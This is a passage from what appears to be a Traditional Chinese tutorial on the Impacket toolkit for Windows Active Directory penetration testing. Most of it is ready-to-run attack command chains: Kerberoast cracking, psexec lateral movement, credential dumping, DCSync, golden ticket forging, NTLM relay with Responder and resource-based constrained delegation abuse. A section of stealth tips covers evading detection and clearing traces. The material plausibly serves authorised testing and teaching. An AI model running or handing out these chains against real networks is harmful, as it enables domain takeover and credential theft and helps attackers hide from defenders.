hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt
# ===== 階段 3:橫向移動 =====
# 3.1 測試憑證有效性
impacket-smbclient domain/crackeduser:[email protected]
# 3.2 遠端執行
impacket-psexec domain/admin:[email protected]
# 3.3 提取本機憑證
impacket-secretsdump domain/admin:[email protected]
# ===== 階段 4:網域控制器攻擊 =====
# 4.1 DCSync 攻擊
impacket-secretsdump -just-dc domain/admin:[email protected]
# 4.2 建立金票
impacket-ticketer -nthash <krbtgt_hash> -domain-sid S-1-5-21-xxx -domain domain.local administrator
# 4.3 使用金票
export KRB5CCNAME=administrator.ccache
impacket-psexec -k -no-pass [email protected]
10.2 NTLM 中繼攻擊流程
# 終端 1:啟動中繼
impacket-ntlmrelayx -tf targets.txt -smb2support -i
# 終端 2:啟動 Responder(需另外安裝)
responder -I eth0
# 當有人連接時,使用中繼取得的 Shell
nc 127.0.0.1 11000
10.3 RBCD 攻擊流程
# 1. 新增受控電腦帳號
impacket-addcomputer domain.local/user:password -computer-name ATTACKER-computer-pass AttackerPass -dc-ip 10.10.10.10
# 2. 設定 RBCD
impacket-rbcd domain.local/user:password -delegate-to TARGET -delegate-from ATTACKER-action write -dc-ip 10.10.10.10
# 3. 取得服務票證
impacket-getST domain.local/ATTACKER:AttackerPass -spn cifs/TARGET.domain.local -impersonate administrator -dc-ip 10.10.10.10
# 4. 使用票證
export KRB5CCNAME=administrator.ccache
impacket-psexec -k -no-pass [email protected]
十一、參數速查表
11.1 通用認證參數
| 參數 | 說明 | 範例 |
|---|---|---|
-hashes LMHASH:NTHASH |
NTLM 雜湊認證 | -hashes :aad3b435b51404ee |
-no-pass |
不詢問密碼 | 搭配 -k 使用 |
-k |
Kerberos 認證 | 需設定 KRB5CCNAME |
-aesKey hex |
AES 金鑰認證 | 128 或 256 位元 |
-keytab FILE |
Keytab 檔案認證 |
11.2 連線參數
| 參數 | 說明 | 範例 |
|---|---|---|
-dc-ip |
網域控制器 IP | -dc-ip 192.168.1.10 |
-dc-host |
網域控制器主機名稱 | -dc-host dc01.domain.local |
-target-ip |
目標 IP | 用於 NetBIOS 名稱解析 |
-port |
連接埠 | -port 445 |
11.3 目標格式
[[domain/]username[:password]@]<目標>
範例:
192.168.1.100 # 僅 IP(匿名)
[email protected] # 本機帳號(會提示密碼)
user:[email protected] # 本機帳號
domain/user:[email protected] # 網域帳號
domain.local/user:password # 無目標(用於 AD 查詢)
十二、常見問題與排解
12.1 錯誤排解
| 錯誤訊息 | 可能原因 | 解決方案 |
|---|---|---|
STATUS_ACCESS_DENIED |
權限不足 | 確認帳號權限 |
STATUS_LOGON_FAILURE |
認證失敗 | 確認密碼/雜湊正確 |
Connection refused |
服務未開啟或防火牆 | 確認 445/135 埠開放 |
KRB_AP_ERR_SKEW |
時間不同步 | ntpdate <DC> |
KRB_AP_ERR_MODIFIED |
密碼已變更 | 重新取得憑證 |
SMB SessionError |
SMB 版本問題 | 嘗試 -smb2support |
12.2 效能優化
# 加快掃描速度
impacket-GetUserSPNs domain.local/user:password -dc-ip 10.10.10.10 -request -outputfile spns.txt
# 多執行緒(部分工具支援)
# 使用 bash 迴圈或 parallel
12.3 隱蔽性建議
- 使用 wmiexec/dcomexec 替代 psexec(不建立服務)
- 自訂服務名稱 避免預設名稱被偵測
- 使用 Kerberos 替代 NTLM(減少日誌)
- 清理痕跡 刪除建立的服務和檔案
十三、搭配工具推薦
| 工具 | 用途 | 搭配場景 |
|---|---|---|
| Hashcat | 密碼破解 | 破解 AS-REP、TGS |
| John the Ripper | 密碼破解 | 破解各種雜湊 |
| BloodHound | AD 關係分析 | 找出攻擊路徑 |
| CrackMapExec | 批次執行 | 大量主機操作 |
| Responder | LLMNR/NBT-NS 毒化 | 搭配 ntlmrelayx |
| Certipy | AD CS 攻擊 | 憑證服務攻擊 |
| Rubeus | Kerberos 攻擊 | Windows 環境使用 |
總結
Impacket 是滲透測試人員在 Windows/AD 環境中不可或缺的工具集。本文涵蓋了從基礎到進階的各種使用場景,建議學習順序如下:
- 入門:smbclient、psexec、secretsdump
- 進階:GetUserSPNs、GetNPUsers、ntlmrelayx
- 專精:ticketer、getST、rbcd、dacledit
